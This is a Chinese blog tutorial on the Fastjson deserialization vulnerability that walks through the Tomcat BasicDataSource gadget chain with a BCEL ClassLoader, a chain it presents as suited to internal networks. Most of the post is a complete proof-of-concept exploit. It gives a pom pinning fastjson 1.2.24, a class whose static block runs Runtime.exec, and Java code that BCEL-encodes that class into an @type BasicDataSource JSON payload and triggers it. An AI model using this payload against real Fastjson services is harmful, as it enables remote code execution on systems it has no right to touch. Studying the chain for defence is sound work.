首页 > 其他分享 >Fastjson反序列化漏洞2:BasicDataSource利用链-用于内网

Fastjson反序列化漏洞2:BasicDataSource利用链-用于内网

时间:2024-05-11 15:58:53浏览次数:22  
标签:Fastjson BasicDataSource println apache org 序列化 com

之前说的Fastjson的利用链,补充来了,没有偷懒(狗头)
前情提要:BCEL:加载恶意类Fastjson反序列化漏洞1:吹吹水

Fastjson干了啥

Fastjson就是处理json用的,可以将json转换成对象(自定义的一套序列化和反序列化)

举个例子:

下面这个json字符串经过JSON.parse(jsonString)处理

可以得到com.test.demo.Student类对象,age为18,name为XW

{"@type":"com.test.demo.Student","age":18,"name":"XW"}

@type 用于指明类名

快速了解一下fastjson的三个重要方法

  • 使用parse,不仅会得到对象,还会调用这个对象的setter;

  • 使用parseObject,不仅会得到对象且调用setter,还会调用getter。

  • 使用JSON.toJSONString,会自动调用类的getter。

也就是说setter和getter是我们可以考虑的入口点,类似readObject

Fastjson有哪些利用链

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,比较鸡肋

第二个利用链用到的是JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用

第三个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。使用的是BCEL加载恶意类。

BasicDataSource链(内网链)

可以发现BasicDataSource为入口

getConnection()->createDataSource()->createConnectionFactory()

getConnection

image

createDataSource

createDataSource中调用了createConnectionFactory()

image

createConnectionFactory

让我们看看这个createConnectionFactory方法,发现其调用链自定义的ClassLoader

image

此时就可以利用BCEL的ClassLoader进而加载恶意类执行代码

代码

考虑到版本问题,这里给出我的pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Fastjson_BasicDataSource</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>  <!-- 请使用最新版本 -->
        </dependency>

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.0.M15</version>
        </dependency>
    </dependencies>
</project>
package org.example;

import java.io.IOException;

public class Calc {
        static {
            try {
                System.out.println("    [+]calc类的静态初始化模块,调用Runtime.getRuntime().exec(\"calc.exe\");");
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
}
package org.example;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class Main {
    public static void main(String[] args) throws Exception{
        System.out.println("[+]低版本jdk可用BCEL,JDK < 8u251");
        System.out.println("[+]获取Calc类");
        JavaClass cls = Repository.lookupClass(Calc.class);

        System.out.println("[+]获取Calc类的编码");
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("    "+code);

        System.out.println("[+]构造payload");
        String payload =
                "{\n" +
                        "    \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                        "    \"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\n" +
                        "    \"driverClassName\": \"$$BCEL$$"+ code +"\"\n" +
                        "}\n";

        System.out.println(payload);
        JSON.parseObject(payload);
        BasicDataSource basicDataSource = new BasicDataSource();
    }
}

执行结果

image

标签:Fastjson,BasicDataSource,println,apache,org,序列化,com
From: https://www.cnblogs.com/Aixve/p/18186637

相关文章

  • C++_函数式编程-以及常用序列化
    函数式编程函数式编程是一种编程范式,它强调程序的构建是通过应用(applying)和组合函数(composingfunctions)来实现的函数式编程属于“结构化编程”的一种,主要思想是把运算过程尽量写成一系列嵌套的函数调用 LambdaCalculus函数式编程语言早期的函数式......
  • 序列化的另一个思路
    #混入类,提供Model实例to_dict方法classModelMixin(object):__slots__=()defto_dict(self,excludes:tuple=None,selects:tuple=None)->dict:ifnothasattr(self,'_meta'):raiseTypeError('<......
  • [idea]mvn install没有问题,idea build报错程序包com.alibaba.fastjson不存在
    现象:1、mvninstall没有问题2、ideabuild报错程序包com.alibaba.fastjson不存在3、File->Settings->Build,Execution,Deployment->Compiler自动编译选项也是勾选的解决:1、委托maven构建和运行,确实能执行;但是运行都要执行maveninstall,速度慢 -- 不推荐 2、在......
  • Fastjson反序列化漏洞
    Fastjson简介Fastjson是一个Java库,可以实现json和对象之间的转换。将数据与对象进行转化,这个操作涉及到了反序列化。与原生的Java反序列化不同,FastJson反序列化并未使用readObject方法,而是自定义了反序列化的过程。通过在反序列化的过程中自动调用类属性的setter方法......
  • Apache Commons Collections反序列化漏洞
    目录复现环境准备POC漏洞原理分析构造反射链TransformedMap利用链ApacheCommonsCollections的反序列化漏洞在2015年被曝光,引起了广泛的关注,算是java历史上最出名同时也是最具有代表性的反序列化漏洞。复现环境准备jdk1.7版本下载压缩包链接:https://pan.baidu.com/s/......
  • python教程6.3-json序列化
    序列化:dumps,编码,将python类型转成json对象反序列化:loads,解码,将json对象转成python对象pickle模块提供了四个功能:dumps、loads、dump、load(前2个操作变量,后2个操作文件)jsonjson模块也提供了四个功能:dumps、dump、loads、load,⽤法跟pickle⼀致。(前2个操作变量,后2个操作文件)......
  • Fastjson反序列化漏洞
    目录漏洞原理复现Fastjson1.2.24Fastjson1.2.47漏洞分析Fastjson是阿里巴巴开源的一个Java库,用于将Java对象转换为JSON字符串(序列化),以及将JSON字符串转换为Java对象(反序列化),漏洞编号CVE-2017-18349。漏洞原理Fastjson引入了autoType功能,允许在反序列化过程中通过@type......
  • 【Python-Json】自定义类输入json序列化、json的读取与写入
    AI问答Questionjson支持numpy数组么Answer不幸的是,标准的JSON格式不直接支持NumPy数组.JSON是一种用于存储和交换数据的文本格式,它有限的数据类型只包括对象(object)、数组(array)、数字(number)、字符串(string)、布尔值(true/false)、空值(null)等.因此,无法直接将......
  • Apache Shiro 721反序列化漏洞Padding Oracle Attack
    目录漏洞原理复现修复方式漏洞原理Shiro的RememberMeCookie使用的是AES-128-CBC模式加密。其中128表示密钥长度为128位,CBC代表CipherBlockChaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。这种模式的加......
  • Apache Shiro 550反序列化漏洞
    目录漏洞原理复现漏洞探测方式一ysoserial反弹shell方式二ShiroAttack2一键利用修复措施ApacheShiro是一个用于身份验证、授权、加密和会话管理的Java安全框架。ApacheShiro550是个反序列化漏洞,漏洞编号为CVE-2016-4437。漏洞原理Shiro框架提供了一个RememberMe功能,允许......